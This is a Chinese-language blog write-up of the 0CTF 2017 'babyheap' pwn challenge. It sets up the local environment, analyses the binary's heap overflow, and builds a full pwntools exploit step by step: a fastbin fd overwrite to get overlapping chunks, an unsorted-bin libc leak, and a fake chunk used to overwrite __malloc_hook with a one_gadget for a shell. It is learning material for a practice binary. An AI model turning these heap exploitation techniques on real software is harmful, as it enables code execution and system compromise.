0CTF_babyheap_2017分析&完整调试过程

babyheap_0ctf_2017 分析&完整调试过程

写这篇博客的原因是我用glic-all-in-one下载的libc的环境和远程的稍有不同,导致用网上的题解本地无法打通,加上网上的题解对于我这个新手来说不是特别详细,遂详细记录我做的第二个堆题。

配环境

用glibc-all-in-one下载libc后用patchelf进行patch

PROGRAM="/home/kali/Desktop/CTF-PWN/babyheap_octf/babyheap_0ctf_2017"

# 执行关键的替换命令
patchelf --set-interpreter /home/kali/Desktop/CTF-PWN/tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so ${PROGRAM}
patchelf --replace-needed libc.so.6 /home/kali/Desktop/CTF-PWN/tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so ${PROGRAM}

ida分析

0ctf-babyheap-01 IDA截图
一个标准的菜单堆

检查alloc函数,可以通过20-22行推测堆控制结构如下(数字代表字节)

chunk+0: 是否inuse
chunk+8: size
chunk+16: 指向实际堆块的指针


检查fill函数,发现输入的内容长度可以控制,存在堆溢出漏洞

检查free函数,发现会检查控制结构里面的inuse,避免了简单的double free


检查dump函数,发现是读取控制结构中的size并全部输出

那么思路就有了,总共是两步走,第一步泄露libc基址,第二步劫持控制流

泄露libc思路

我们倒推思路,要想泄露libc基址,肯定是要利用dump函数。然后一个最常见的方法就是unsorted bin泄露,也就是当unsorted bin中只有一个chunk时,其fd和bk指针都会指向一个和libc基址偏移量固定的地址。这个时候利用dump函数把这个地址dump出来就实现了泄露

但是unsorted bin中存储的是已经被free的chunk,如何读取已经被free的chunk的数据呢?那么显然我们需要制造重叠的chunk,也就是说要使得在这个unsorted bin的数据空间也是一个被分配给用户的,inuse中的chunk。

那么这么来看,我们需要实现两个分配的堆块是同一块内存空间(双指),这样其中一个被free之后才会出现上面说到的情况。

由于不太能double free,所以结合堆溢出我们可以采用修改fd指针再两次分配的形式实现双指。也就是溢出修改在fastbin中的堆块的fd指针后再两次分配分配到我们想要的位置。

那么开始调试!

泄露libc调试

from pwn import *
io=process("/home/kali/Desktop/CTF-PWN/babyheap_octf/babyheap_0ctf_2017")
def cmd(x):
    io.sendlineafter('Command: ', str(x))

def allocate(size):
    cmd(1)
    io.sendlineafter('Size: ', str(size))

def fill(index, content):
    cmd(2)
    io.sendlineafter('Index: ', str(index))
    io.sendlineafter('Size: ', str(len(content)))
    io.sendlineafter('Content: ',content)

def free(index):
    cmd(3)
    io.sendlineafter('Index: ',str(index))

def dump(index):
    cmd(4)
    io.sendlineafter('Index: ', str(index))
    io.recvline()
    return io.recvline()

allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x80)

free(1)
free(2)
pause()


在这个地方停下发现我们已经有两个进入fastbin的chunk,且现在fastbin的链表头指向2

所以接下来就是溢出修改chunk2,也就是地址为0x55...40的这个。

payload=p64(0)*3
payload+=p64(0x21)#size
payload+=p64(0)*3
payload+=p64(0x21)
payload+=p8(0x80)
fill(0,payload)

这里溢出chunk0,p64(0)*3刚好把分配的chunk的数据内容和下个chunk的prev_size保持原样。后面的p64(0x21)保持size字段一样。

可以在pwndbg中使用

b *$rebase(0x1188)

来把断点下在fill函数运行完后。(这个地址用ida找就行,具体用法请AI)

可以看到此时fd已修改完毕。

但是我们如果这个时候去直接两次分配得到双指会出现问题,因为malloc会取出fd指向的块的size检查,如何不符合链表代表的size大小就不给分配。我们的链表大小是0x10,显然和chunk4的0x80不和(那为什么一开始不把chunk4分配成0x10呢?我认为应该是为了把他之后放到unsorted bin不出问题),所以我们还得溢出一次

此时各个index的分配情况如下:
0:inuse
1:not inuse
2:not inuse
3:inuse
4:inuse

我们只能用inuse的进行溢出,所以选择靠近的chunk3(一开始分配这个chunk可能是为了不要让fastbin里的东西和即将出现的unsorted bin块合并?)

payload=p64(0)*3
payload+=p64(0x21)
fill(3,payload)

allocate(0x10)
allocate(0x10)


此时我们发现分配的块已经分配上了,现在堆控制结构(用户定义的,之前分析过的那个,不是系统的)如下:
0:inuse
1:inuse
2:inuse (Addr: 0x55b749604080)
3:inuse
4:inuse (Addr: 0x55b749604080)

接下来就是泄露的预处理部分了,即先让chunk4进入Unsorted Bin

之前也提到过,要让其进入Unsorted Bin需要满足两个条件:

  • 释放(free)的chunk大小不属于fast bin的范围
  • 该chunk不和top chunk紧邻时
    关于第一条,我们只需要将其大小改回去(0x21 -> 0x91),然后free即可

关于第二条,由于chunk4是最晚申请的,他就挨着top chunk,所以需要分配一个栅栏chunk不让它和top chunk接触

payload=p64(0)*3
payload+=p64(0x91) # 修改大小
fill(3,payload)
allocate(0x80) # 栅栏chunk
free(4) 


发现chunk4已经被放进去了


然后是计算这个fd与libc基址的偏移,我这里的环境和在线不一样,我用libc-all-in-one计算出的偏移是0x7fc31efc3b78-0x7fc31ec00000=0x3c3b78

因此

libc_base=u64(dump(2)[:8].strip().ljust(8,b"\x00"))-0x3c3b78
print(f"libc: {hex(libc_base)}")

伪造fake chunk打通思路

好的,已经知道libc了,接下来就是修改函数打通他。

同样逆推,要想getshell主要有两种方法,一种是system("/bin/sh"),另一种是one-gadget。这里采用后一种(不知道前一种行不行,没试过)

一种常见的方法是修改malloc/free的hook函数,由于已经会了溢出,只需要让fd指向hook前面(更低地址)的地方然后修改hook函数为one-gadget地址后调用对应函数即可(你可以认为xx_hook就是在进行xx之前执行的函数)

伪造fake chunk打通调试

既然要修改malloc/free的hook函数,那么我们看看哪个好修改
可以通过info variables hook来找

我们需要过前面提到的size的检查,所以需要在hook的上面(更低地址)有一个能满足fake_chunk大小的字节(人话就是需要一个0x7x x为任意字,或者0x6x 0x5x这种fastbin范围里面的)
结果free_hook这边太干净了啥都没有

那只能看看malloc

有好多7f!那么我们来看看哪个满足条件
需要注意 检查size看的是8字节!!!所以需要fd+8是0x00 00 00 00 00 00 00 7f才行!!! 如果比如是0xd0 00 00 00 00 00 00 7f就不行!!!
所以这样就不行:

研究了半天,克服了小端序的种种坑爹思考方式终于弄出来了正确的地方:

然后用工具找one-gadget地址(这里我的环境又和远程不一样)

选择第三个

allocate(0x60)

free(4)
payload=p64(libc_base+0x3c3aed) # 找到的的fake chunk地址
fill(2,payload)
allocate(0x60)
allocate(0x60)
payload=p8(0)*0x13              # fake chunk用户空间+13就是malloc_hook
payload+=p64(libc_base+0x4525a) # 找到的one-gadget地址

fill(6,payload)
allocate(255)
io.interactive()


可以看到malloc_hook的地址修改完成了


本地打通!!!!!完结撒花!!!!
第二个打通的堆题,真是不容易。堆的难度曲线确实超乎我的想象,不过有什么比PWN成功更有成就感的呢?
远程环境和我的本地环境只有那两个偏移不一样,读者可以参考其他题解。

posted @ 2025-11-08 14:58  revalue  阅读(0)  评论(0)    收藏  举报